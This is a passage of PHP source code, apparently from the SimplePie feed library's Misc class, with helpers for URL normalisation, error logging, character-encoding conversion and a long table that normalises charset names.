            $full .= ">$element[content]</$element[tag]>";
        }
        return $full;
    }

    public static function error($message, $level, $file, $line)
    {
        if ((error_reporting() & $level) > 0) {
            switch ($level) {
                case E_USER_ERROR:
                    $note = 'PHP Error';
                    break;
                case E_USER_WARNING:
                    $note = 'PHP Warning';
                    break;
                case E_USER_NOTICE:
                    $note = 'PHP Notice';
                    break;
                default:
                    $note = 'Unknown Error';
                    break;
            }

            $log_error = true;
            if (!function_exists('error_log')) {
                $log_error = false;
            }

            $log_file = @ini_get('error_log');
            if (!empty($log_file) && ('syslog' !== $log_file) && !@is_writable($log_file)) {
                $log_error = false;
            }

            if ($log_error) {
                @error_log("$note: $message in $file on line $line", 0);
            }
        }

        return $message;
    }

    public static function fix_protocol($url, $http = 1)
    {
        $url = Misc::normalize_url($url);
        $parsed = Misc::parse_url($url);
        if ($parsed['scheme'] !== '' && $parsed['scheme'] !== 'http' && $parsed['scheme'] !== 'https') {
            return Misc::fix_protocol(Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http);
        }

        if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url)) {
            return Misc::fix_protocol(Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http);
        }

        if ($http === 2 && $parsed['scheme'] !== '') {
            return "feed:$url";
        } elseif ($http === 3 && strtolower($parsed['scheme']) === 'http') {
            return substr_replace($url, 'podcast', 0, 4);
        } elseif ($http === 4 && strtolower($parsed['scheme']) === 'http') {
            return substr_replace($url, 'itpc', 0, 4);
        }

        return $url;
    }

    /**
     * @deprecated since SimplePie 1.8.0, use PHP native array_replace_recursive() instead.
     */
    public static function array_merge_recursive($array1, $array2)
    {
        foreach ($array2 as $key => $value) {
            if (is_array($value)) {
                $array1[$key] = Misc::array_merge_recursive($array1[$key], $value);
            } else {
                $array1[$key] = $value;
            }
        }

        return $array1;
    }

    public static function parse_url($url)
    {
        $iri = new \SimplePie\IRI($url);
        return [
            'scheme' => (string) $iri->scheme,
            'authority' => (string) $iri->authority,
            'path' => (string) $iri->path,
            'query' => (string) $iri->query,
            'fragment' => (string) $iri->fragment
        ];
    }

    public static function compress_parse_url($scheme = '', $authority = '', $path = '', $query = '', $fragment = '')
    {
        $iri = new \SimplePie\IRI('');
        $iri->scheme = $scheme;
        $iri->authority = $authority;
        $iri->path = $path;
        $iri->query = $query;
        $iri->fragment = $fragment;
        return $iri->get_uri();
    }

    public static function normalize_url($url)
    {
        $iri = new \SimplePie\IRI($url);
        return $iri->get_uri();
    }

    public static function percent_encoding_normalization($match)
    {
        $integer = hexdec($match[1]);
        if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer === 0x2D || $integer === 0x2E || $integer === 0x5F || $integer === 0x7E) {
            return chr($integer);
        }

        return strtoupper($match[0]);
    }

    /**
     * Converts a Windows-1252 encoded string to a UTF-8 encoded string
     *
     * @static
     * @param string $string Windows-1252 encoded string
     * @return string UTF-8 encoded string
     */
    public static function windows_1252_to_utf8($string)
    {
        static $convert_table = ["\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF"];

        return strtr($string, $convert_table);
    }

    /**
     * Change a string from one encoding to another
     *
     * @param string $data Raw data in $input encoding
     * @param string $input Encoding of $data
     * @param string $output Encoding you want
     * @return string|boolean False if we can't convert it
     */
    public static function change_encoding($data, $input, $output)
    {
        $input = Misc::encoding($input);
        $output = Misc::encoding($output);

        // We fail to fail on non US-ASCII bytes
        if ($input === 'US-ASCII') {
            static $non_ascii_octects = '';
            if (!$non_ascii_octects) {
                for ($i = 0x80; $i <= 0xFF; $i++) {
                    $non_ascii_octects .= chr($i);
                }
            }
            $data = substr($data, 0, strcspn($data, $non_ascii_octects));
        }

        // This is first, as behaviour of this is completely predictable
        if ($input === 'windows-1252' && $output === 'UTF-8') {
            return Misc::windows_1252_to_utf8($data);
        }
        // This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported).
        elseif (function_exists('mb_convert_encoding') && ($return = Misc::change_encoding_mbstring($data, $input, $output))) {
            return $return;
        }
        // This is third, as behaviour of this varies with OS userland and PHP version
        elseif (function_exists('iconv') && ($return = Misc::change_encoding_iconv($data, $input, $output))) {
            return $return;
        }
        // This is last, as behaviour of this varies with OS userland and PHP version
        elseif (class_exists('\UConverter') && ($return = Misc::change_encoding_uconverter($data, $input, $output))) {
            return $return;
        }

        // If we can't do anything, just fail
        return false;
    }

    protected static function change_encoding_mbstring($data, $input, $output)
    {
        if ($input === 'windows-949') {
            $input = 'EUC-KR';
        }
        if ($output === 'windows-949') {
            $output = 'EUC-KR';
        }
        if ($input === 'Windows-31J') {
            $input = 'SJIS';
        }
        if ($output === 'Windows-31J') {
            $output = 'SJIS';
        }

        // Check that the encoding is supported
        if (!in_array($input, mb_list_encodings())) {
            return false;
        }

        if (@mb_convert_encoding("\x80", 'UTF-16BE', $input) === "\x00\x80") {
            return false;
        }

        // Let's do some conversion
        if ($return = @mb_convert_encoding($data, $output, $input)) {
            return $return;
        }

        return false;
    }

    protected static function change_encoding_iconv($data, $input, $output)
    {
        return @iconv($input, $output, $data);
    }

    /**
     * @param string $data
     * @param string $input
     * @param string $output
     * @return string|false
     */
    protected static function change_encoding_uconverter($data, $input, $output)
    {
        return @\UConverter::transcode($data, $output, $input);
    }

    /**
     * Normalize an encoding name
     *
     * This is automatically generated by create.php
     *
     * To generate it, run `php create.php` on the command line, and copy the
     * output to replace this function.
     *
     * @param string $charset Character set to standardise
     * @return string Standardised name
     */
    public static function encoding($charset)
    {
        // Normalization from UTS #22
        switch (strtolower(preg_replace('/(?:[^a-zA-Z0-9]+|([^0-9])0+)/', '\1', $charset))) {
            case 'adobestandardencoding':
            case 'csadobestandardencoding':
                return 'Adobe-Standard-Encoding';

            case 'adobesymbolencoding':
            case 'cshppsmath':
                return 'Adobe-Symbol-Encoding';

            case 'ami1251':
            case 'amiga1251':
                return 'Amiga-1251';

            case 'ansix31101983':
            case 'csat5001983':
            case 'csiso99naplps':
            case 'isoir99':
            case 'naplps':
                return 'ANSI_X3.110-1983';

            case 'arabic7':
            case 'asmo449':
            case 'csiso89asmo449':
            case 'iso9036':
            case 'isoir89':
                return 'ASMO_449';

            case 'big5':
            case 'csbig5':
                return 'Big5';

            case 'big5hkscs':
                return 'Big5-HKSCS';

            case 'bocu1':
            case 'csbocu1':
                return 'BOCU-1';

            case 'brf':
            case 'csbrf':
                return 'BRF';

            case 'bs4730':
            case 'csiso4unitedkingdom':
            case 'gb':
            case 'iso646gb':
            case 'isoir4':
            case 'uk':
                return 'BS_4730';

            case 'bsviewdata':
            case 'csiso47bsviewdata':
            case 'isoir47':
                return 'BS_viewdata';

            case 'cesu8':
            case 'cscesu8':
                return 'CESU-8';

            case 'ca':
            case 'csa71':
            case 'csaz243419851':
            case 'csiso121canadian1':
            case 'iso646ca':
            case 'isoir121':
                return 'CSA_Z243.4-1985-1';

            case 'csa72':
            case 'csaz243419852':
            case 'csiso122canadian2':
            case 'iso646ca2':
            case 'isoir122':
                return 'CSA_Z243.4-1985-2';

            case 'csaz24341985gr':
            case 'csiso123csaz24341985gr':
            case 'isoir123':
                return 'CSA_Z243.4-1985-gr';

            case 'csiso139csn369103':
            case 'csn369103':
            case 'isoir139':
                return 'CSN_369103';

            case 'csdecmcs':
            case 'dec':
            case 'decmcs':
                return 'DEC-MCS';

            case 'csiso21german':
            case 'de':
            case 'din66003':
            case 'iso646de':
            case 'isoir21':
                return 'DIN_66003';

            case 'csdkus':
            case 'dkus':
                return 'dk-us';

            case 'csiso646danish':
            case 'dk':
            case 'ds2089':
            case 'iso646dk':
                return 'DS_2089';

            case 'csibmebcdicatde':
            case 'ebcdicatde':
                return 'EBCDIC-AT-DE';

            case 'csebcdicatdea':
            case 'ebcdicatdea':
                return 'EBCDIC-AT-DE-A';

            case 'csebcdiccafr':
            case 'ebcdiccafr':
                return 'EBCDIC-CA-FR';

            case 'csebcdicdkno':
            case 'ebcdicdkno':
                return 'EBCDIC-DK-NO';

            case 'csebcdicdknoa':
            case 'ebcdicdknoa':
                return 'EBCDIC-DK-NO-A';

            case 'csebcdices':
            case 'ebcdices':
                return 'EBCDIC-ES';

            case 'csebcdicesa':
            case 'ebcdicesa':
                return 'EBCDIC-ES-A';

            case 'csebcdicess':
            case 'ebcdicess':
                return 'EBCDIC-ES-S';

            case 'csebcdicfise':
            case 'ebcdicfise':
                return 'EBCDIC-FI-SE';

            case 'csebcdicfisea':
            case 'ebcdicfisea':
                return 'EBCDIC-FI-SE-A';

            case 'csebcdicfr':
            case 'ebcdicfr':
                return 'EBCDIC-FR';

            case 'csebcdicit':
            case 'ebcdicit':
                return 'EBCDIC-IT';

            case 'csebcdicpt':
            case 'ebcdicpt':
                return 'EBCDIC-PT';

            case 'csebcdicuk':
            case 'ebcdicuk':
                return 'EBCDIC-UK';

            case 'csebcdicus':
            case 'ebcdicus':
                return 'EBCDIC-US';

            case 'csiso111ecmacyrillic':
            case 'ecmacyrillic':
            case 'isoir111':
            case 'koi8e':
                return 'ECMA-cyrillic';

            case 'csiso17spanish':
            case 'es':
            case 'iso646es':
            case 'isoir17':
                return 'ES';

            case 'csiso85spanish2':
            case 'es2':
            case 'iso646es2':
            case 'isoir85':
                return 'ES2';

            case 'cseucpkdfmtjapanese':
            case 'eucjp':
            case 'extendedunixcodepackedformatforjapanese':
                return 'EUC-JP';

            case 'cseucfixwidjapanese':
            case 'extendedunixcodefixedwidthforjapanese':
                return 'Extended_UNIX_Code_Fixed_Width_for_Japanese';

            case 'gb18030':
                return 'GB18030';

            case 'chinese':
            case 'cp936':
            case 'csgb2312':
            case 'csiso58gb231280':
            case 'gb2312':
            case 'gb231280':
            case 'gbk':
            case 'isoir58':
            case 'ms936':
            case 'windows936':
                return 'GBK';

            case 'cn':
            case 'csiso57gb1988':
            case 'gb198880':
            case 'iso646cn':
            case 'isoir57':
                return 'GB_1988-80';

            case 'csiso153gost1976874':
            case 'gost1976874':
            case 'isoir153':
            case 'stsev35888':
                return 'GOST_19768-74';

            case 'csiso150':
            case 'csiso150greekccitt':
            case 'greekccitt':
            case 'isoir150':
                return 'greek-ccitt';

            case 'csiso88greek7':
            case 'greek7':
            case 'isoir88':
                return 'greek7';

            case 'csiso18greek7old':
            case 'greek7old':
            case 'isoir18':
                return 'greek7-old';

            case 'cshpdesktop':
            case 'hpdesktop':
                return 'HP-DeskTop';

            case 'cshplegal':
            case 'hplegal':
                return 'HP-Legal';

            case 'cshpmath8':
            case 'hpmath8':
                return 'HP-Math8';

            case 'cshppifont':
            case 'hppifont':
                return 'HP-Pi-font';

            case 'cshproman8':
            case 'hproman8':
            case 'r8':
            case 'roman8':
                return 'hp-roman8';

            case 'hzgb2312':
                return 'HZ-GB-2312';

            case 'csibmsymbols':
            case 'ibmsymbols':
                return 'IBM-Symbols';

            case 'csibmthai':
            case 'ibmthai':
                return 'IBM-Thai';

            case 'cp37':
            case 'csibm37':
            case 'ebcdiccpca':
            case 'ebcdiccpnl':
            case 'ebcdiccpus':
            case 'ebcdiccpwt':
            case 'ibm37':
                return 'IBM037';

            case 'cp38':
            case 'csibm38':
            case 'ebcdicint':
            case 'ibm38':
                return 'IBM038';

            case 'cp273':
            case 'csibm273':
            case 'ibm273':
                return 'IBM273';

            case 'cp274':
            case 'csibm274':
            case 'ebcdicbe':
            case 'ibm274':
                return 'IBM274';

            case 'cp275':
            case 'csibm275':
            case 'ebcdicbr':
            case 'ibm275':
                return 'IBM275';

            case 'csibm277':
            case 'ebcdiccpdk':
            case 'ebcdiccpno':
            case 'ibm277':
                return 'IBM277';

            case 'cp278':
            case 'csibm278':
            case 'ebcdiccpfi':
            case 'ebcdiccpse':
            case 'ibm278':
                return 'IBM278';

            case 'cp280':
            case 'csibm280':
            case 'ebcdiccpit':
            case 'ibm280':
                return 'IBM280';

            case 'cp281':
            case 'csibm281':
            case 'ebcdicjpe':
            case 'ibm281':
                return 'IBM281';

            case 'cp284':
            case 'csibm284':
            case 'ebcdiccpes':
            case 'ibm284':
                return 'IBM284';

            case 'cp285':
            case 'csibm285':
            case 'ebcdiccpgb':
            case 'ibm285':
                return 'IBM285';

            case 'cp290':
            case 'csibm290':
            case 'ebcdicjpkana':
            case 'ibm290':
                return 'IBM290';

            case 'cp297':
            case 'csibm297':
            case 'ebcdiccpfr':
            case 'ibm297':
                return 'IBM297';

            case 'cp420':
            case 'csibm420':
            case 'ebcdiccpar1':
            case 'ibm420':
                return 'IBM420';

            case 'cp423':
            case 'csibm423':
            case 'ebcdiccpgr':
            case 'ibm423':
                return 'IBM423';

            case 'cp424':
            case 'csibm424':
            case 'ebcdiccphe':
            case 'ibm424':
                return 'IBM424';

            case '437':
            case 'cp437':
            case 'cspc8codepage437':
            case 'ibm437':
                return 'IBM437';

            case 'cp500':
            case 'csibm500':
            case 'ebcdiccpbe':
            case 'ebcdiccpch':
            case 'ibm500':
                return 'IBM500';

            case 'cp775':
            case 'cspc775baltic':
            case 'ibm775':
                return 'IBM775';

            case '850':
            case 'cp850':
            case 'cspc850multilingual':
            case 'ibm850':
                return 'IBM850';

            case '851':
            case 'cp851':
            case 'csibm851':
            case 'ibm851':
                return 'IBM851';

            case '852':
            case 'cp852':
            case 'cspcp852':
            case 'ibm852':
                return 'IBM852';

            case '855':
            case 'cp855':
            case 'csibm855':
            case 'ibm855':
                return 'IBM855';

            case '857':
            case 'cp857':
            case 'csibm857':
            case 'ibm857':
                return 'IBM857';

            case 'ccsid858':
            case 'cp858':
            case 'ibm858':
            case 'pcmultilingual850euro':
                return 'IBM00858';

            case '860':
            case 'cp860':
            case 'csibm860':
            case 'ibm860':
                return 'IBM860';

            case '861':
            case 'cp861':
            case 'cpis':
            case 'csibm861':
            case 'ibm861':
                return 'IBM861';

            case '862':
            case 'cp862':
            case 'cspc862latinhebrew':
            case 'ibm862':
                return 'IBM862';

            case '863':
            case 'cp863':
            case 'csibm863':
            case 'ibm863':
                return 'IBM863';

            case 'cp864':
            case 'csibm864':
            case 'ibm864':
                return 'IBM864';

            case '865':
            case 'cp865':
            case 'csibm865':
            case 'ibm865':
                return 'IBM865';

            case '866':
            case 'cp866':
            case 'csibm866':
            case 'ibm866':
                return 'IBM866';

            case 'cp868':
            case 'cpar':
            case 'csibm868':
            case 'ibm868':
                return 'IBM868';

            case '869':
            case 'cp869':
            case 'cpgr':
            case 'csibm869':
            case 'ibm869':
                return 'IBM869';

            case 'cp870':
            case 'csibm870':
            case 'ebcdiccproece':
            case 'ebcdiccpyu':
            case 'ibm870':
                return 'IBM870';

            case 'cp871':
            case 'csibm871':
            case 'ebcdiccpis':
            case 'ibm871':
                return 'IBM871';

            case 'cp880':
            case 'csibm880':
            case 'ebcdiccyrillic':
            case 'ibm880':
                return 'IBM880';

            case 'cp891':
            case 'csibm891':
            case 'ibm891':
                return 'IBM891';

            case 'cp903':
            case 'csibm903':
            case 'ibm903':
                return 'IBM903';

            case '904':
            case 'cp904':
            case 'csibbm904':
            case 'ibm904':
                return 'IBM904';

            case 'cp905':
            case 'csibm905':
            case 'ebcdiccptr':
            case 'ibm905':
                return 'IBM905';

            case 'cp918':
            case 'csibm918':
            case 'ebcdiccpar2':
            case 'ibm918':
                return 'IBM918';

            case 'ccsid924':
            case 'cp924':
            case 'ebcdiclatin9euro':
            case 'ibm924':
                return 'IBM00924';

            case 'cp1026':
            case 'csibm1026':
            case 'ibm1026':
                return 'IBM1026';

            case 'ibm1047':
                return 'IBM1047';

            case 'ccsid1140':
            case 'cp1140':
            case 'ebcdicus37euro':
            case 'ibm1140':
                return 'IBM01140';

            case 'ccsid1141':
            case 'cp1141':
            case 'ebcdicde273euro':
            case 'ibm1141':
                return 'IBM01141';

            case 'ccsid1142':
            case 'cp1142':
            case 'ebcdicdk277euro':
            case 'ebcdicno277euro':
            case 'ibm1142':
                return 'IBM01142';

            case 'ccsid1143':
            case 'cp1143':
            case 'ebcdicfi278euro':
            case 'ebcdicse278euro':
            case 'ibm1143':
                return 'IBM01143';

            case 'ccsid1144':
            case 'cp1144':
            case 'ebcdicit280euro':
            case 'ibm1144':
                return 'IBM01144';

            case 'ccsid1145':
            case 'cp1145':
            case 'ebcdices284euro':
            case 'ibm1145':
                return 'IBM01145';

            case 'ccsid1146':
            case 'cp1146':
            case 'ebcdicgb285euro':
            case 'ibm1146':
                return 'IBM01146';

            case 'ccsid1147':
            case 'cp1147':
            case 'ebcdicfr297euro':
            case 'ibm1147':
                return 'IBM01147';

            case 'ccsid1148':
            case 'cp1148':
            case 'ebcdicinternational500euro':
            case 'ibm1148':
                return 'IBM01148';

            case 'ccsid1149':
            case 'cp1149':
            case 'ebcdicis871euro':
            case 'ibm1149':
                return 'IBM01149';

            case 'csiso143iecp271':
            case 'iecp271':
            case 'isoir143':
                return 'IEC_P27-1';

            case 'csiso49inis':
            case 'inis':
            case 'isoir49':
                return 'INIS';

            case 'csiso50inis8':
            case 'inis8':
            case 'isoir50':
                return 'INIS-8';

            case 'csiso51iniscyrillic':
            case 'iniscyrillic':
            case 'isoir51':
                return 'INIS-cyrillic';

            case 'csinvariant':
            case 'invariant':
                return 'INVARIANT';

            case 'iso2022cn':
                return 'ISO-2022-CN';

            case 'iso2022cnext':
                return 'ISO-2022-CN-EXT';

            case 'csiso2022jp':
            case 'iso2022jp':
                return 'ISO-2022-JP';

            case 'csiso2022jp2':
            case 'iso2022jp2':
                return 'ISO-2022-JP-2';

            case 'csiso2022kr':
            case 'iso2022kr':
                return 'ISO-2022-KR';

            case 'cswindows30latin1':
            case 'iso88591windows30latin1':
                return 'ISO-8859-1-Windows-3.0-Latin-1';

            case 'cswindows31latin1':
            case 'iso88591windows31latin1':
                return 'ISO-8859-1-Windows-3.1-Latin-1';

            case 'csisolatin2':
            case 'iso88592':
            case 'iso885921987':
            case 'isoir101':
            case 'l2':
            case 'latin2':
                return 'ISO-8859-2';

            case 'cswindows31latin2':
            case 'iso88592windowslatin2':
                return 'ISO-8859-2-Windows-Latin-2';

            case 'csisolatin3':
            case 'iso88593':
            case 'iso885931988':
            case 'isoir109':
            case 'l3':
            case 'latin3':
                return 'ISO-8859-3';

            case 'csisolatin4':
            case 'iso88594':
            case 'iso885941988':
            case 'isoir110':
            case 'l4':
            case 'latin4':
                return 'ISO-8859-4';

            case 'csisolatincyrillic':
            case 'cyrillic':
            case 'iso88595':
            case 'iso885951988':
            case 'isoir144':
                return 'ISO-8859-5';

            case 'arabic':
            case 'asmo708':
            case 'csisolatinarabic':
            case 'ecma114':
            case 'iso88596':
            case 'iso885961987':
            case 'isoir127':
                return 'ISO-8859-6';

            case 'csiso88596e':
            case 'iso88596e':
                return 'ISO-8859-6-E';

            case 'csiso88596i':
            case 'iso88596i':
                return 'ISO-8859-6-I';

            case 'csisolatingreek':
            case 'ecma118':
            case 'elot928':
            case 'greek':
            case 'greek8':
            case 'iso88597':
            case 'iso885971987':
            case 'isoir126':
                return 'ISO-8859-7';

            case 'csisolatinhebrew':
            case 'hebrew':
            case 'iso88598':
            case 'iso885981988':
            case 'isoir138':
                return 'ISO-8859-8';

            case 'csiso88598e':
            case 'iso88598e':
                return 'ISO-8859-8-E';

            case 'csiso88598i':
            case 'iso88598i':
                return 'ISO-8859-8-I';

            case 'cswindows31latin5':
            case 'iso88599windowslatin5':
                return 'ISO-8859-9-Windows-Latin-5';

            case 'csisolatin6':
            case 'iso885910':
            case 'iso8859101992':
            case 'isoir157':
            case 'l6':
            case 'latin6':
                return 'ISO-8859-10';

            case 'iso885913':
                return 'ISO-8859-13';

            case 'iso885914':
            case 'iso8859141998':
            case 'isoceltic':
            case 'isoir199':
            case 'l8':
            case 'latin8':
                return 'ISO-8859-14';

            case 'iso885915':
            case 'latin9':
                return 'ISO-8859-15';

            case 'iso885916':
            case 'iso8859162001':
            case 'isoir226':
            case 'l10':
            case 'latin10':
                return 'ISO-8859-16';

            case 'iso10646j1':
                return 'ISO-10646-J-1';

            case 'csunicode':
            case 'iso10646ucs2':
                return 'ISO-10646-UCS-2';

            case 'csucs4':
            case 'iso10646ucs4':
                return 'ISO-10646-UCS-4';

            case 'csunicodeascii':
            case 'iso10646ucsbasic':
                return 'ISO-10646-UCS-Basic';

            case 'csunicodelatin1':
            case 'iso10646':
            case 'iso10646unicodelatin1':
                return 'ISO-10646-Unicode-Latin1';

            case 'csiso10646utf1':
            case 'iso10646utf1':
                return 'ISO-10646-UTF-1';

            case 'csiso115481':
            case 'iso115481':
            case 'isotr115481':
                return 'ISO-11548-1';

            case 'csiso90':
            case 'isoir90':
                return 'iso-ir-90';

            case 'csunicodeibm1261':
            case 'isounicodeibm1261':
                return 'ISO-Unicode-IBM-1261';

            case 'csunicodeibm1264':
            case 'isounicodeibm1264':
                return 'ISO-Unicode-IBM-1264';

            case 'csunicodeibm1265':
            case 'isounicodeibm1265':
                return 'ISO-Unicode-IBM-1265';

            case 'csunicodeibm1268':
            case 'isounicodeibm1268':
                return 'ISO-Unicode-IBM-1268';

            case 'csunicodeibm1276':
            case 'isounicodeibm1276':
                return 'ISO-Unicode-IBM-1276';

            case 'csiso646basic1983':
            case 'iso646basic1983':
            case 'ref':
                return 'ISO_646.basic:1983';

            case 'csiso2intlrefversion':
            case 'irv':
            case 'iso646irv1983':
            case 'isoir2':
                return 'ISO_646.irv:1983';

            case 'csiso2033':
            case 'e13b':
            case 'iso20331983':
            case 'isoir98':
                return 'ISO_2033-1983';

            case 'csiso5427cyrillic':
            case 'iso5427':
            case 'isoir37':
                return 'ISO_5427';

            case 'iso5427cyrillic1981':
            case 'iso54271981':
            case 'isoir54':
                return 'ISO_5427:1981';

            case 'csiso5428greek':
            case 'iso54281980':
            case 'isoir55':
                return 'ISO_5428:1980';

            case 'csiso6937add':
            case 'iso6937225':
            case 'isoir152':
                return 'ISO_6937-2-25';

            case 'csisotextcomm':
            case 'iso69372add':
            case 'isoir142':
                return 'ISO_6937-2-add';

            case 'csiso8859supp':
            case 'iso8859supp':
            case 'isoir154':
            case 'latin125':
                return 'ISO_8859-supp';

            case 'csiso10367box':
            case 'iso10367box':
            case 'isoir155':
                return 'ISO_10367-box';

            case 'csiso15italian':
            case 'iso646it':
            case 'isoir15':
            case 'it':
                return 'IT';

            case 'csiso13jisc6220jp':
            case 'isoir13':
            case 'jisc62201969':
            case 'jisc62201969jp':
            case 'katakana':
            case 'x2017':
                return 'JIS_C6220-1969-jp';

            case 'csiso14jisc6220ro':
            case 'iso646jp':
            case 'isoir14':
            case 'jisc62201969ro':
            case 'jp':
                return 'JIS_C6220-1969-ro';

            case 'csiso42jisc62261978':
            case 'isoir42':
            case 'jisc62261978':
                return 'JIS_C6226-1978';

            case 'csiso87jisx208':
            case 'isoir87':
            case 'jisc62261983':
            case 'jisx2081983':
            case 'x208':
                return 'JIS_C6226-1983';

            case 'csiso91jisc62291984a':
            case 'isoir91':
            case 'jisc62291984a':
            case 'jpocra':
                return 'JIS_C6229-1984-a';

            case 'csiso92jisc62991984b':
            case 'iso646jpocrb':
            case 'isoir92':
            case 'jisc62291984b':
            case 'jpocrb':
                return 'JIS_C6229-1984-b';

            case 'csiso93jis62291984badd':
            case 'isoir93':
            case 'jisc62291984badd':
            case 'jpocrbadd':
                return 'JIS_C6229-1984-b-add';

            case 'csiso94jis62291984hand':
            case 'isoir94':
            case 'jisc62291984hand':
            case 'jpocrhand':
                return 'JIS_C6229-1984-hand';

            case 'csiso95jis62291984handadd':
            case 'isoir95':
            case 'jisc62291984handadd':
            case 'jpocrhandadd':
                return 'JIS_C6229-1984-hand-add';

            case 'csiso96jisc62291984kana':
            case 'isoir96':
            case 'jisc62291984kana':
                return 'JIS_C6229-1984-kana';

            case 'csjisencoding':
            case 'jisencoding':
                return 'JIS_Encoding';

            case 'cshalfwidthkatakana':
            case 'jisx201':
            case 'x201':
                return 'JIS_X0201';

            case 'csiso159jisx2121990':
            case 'isoir159':
            case 'jisx2121990':
            case 'x212':
                return 'JIS_X0212-1990';

            case 'csiso141jusib1002':
            case 'iso646yu':
            case 'isoir141':
            case 'js':
            case 'jusib1002':
            case 'yu':
                return 'JUS_I.B1.002';

            case 'csiso147macedonian':
            case 'isoir147':
            case 'jusib1003mac':
            case 'macedonian':
                return 'JUS_I.B1.003-mac';

            case 'csiso146serbian':
            case 'isoir146':
            case 'jusib1003serb':
            case 'serbian':
                return 'JUS_I.B1.003-serb';

            case 'koi7switched':
                return 'KOI7-switched';

            case 'cskoi8r':
            case 'koi8r':
                return 'KOI8-R';

            case 'koi8u':
                return 'KOI8-U';

            case 'csksc5636':
            case 'iso646kr':
            case 'ksc5636':
                return 'KSC5636';

            case 'cskz1048':
            case 'kz1048':
            case 'rk1048':
            case 'strk10482002':
                return 'KZ-1048';

            case 'csiso19latingreek':
            case 'isoir19':
            case 'latingreek':
                return 'latin-greek';

            case 'csiso27latingreek1':
            case 'isoir27':
            case 'latingreek1':
                return 'Latin-greek-1';

            case 'csiso158lap':
            case 'isoir158':
            case 'lap':
            case 'latinlap':
                return 'latin-lap';

            case 'csmacintosh':
            case 'mac':
            case 'macintosh':
                return 'macintosh';

            case 'csmicrosoftpublishing':
            case 'microsoftpublishing':
                return 'Microsoft-Publishing';

            case 'csmnem':
            case 'mnem':
                return 'MNEM';

            case 'csmnemonic':
            case 'mnemonic':
                return 'MNEMONIC';

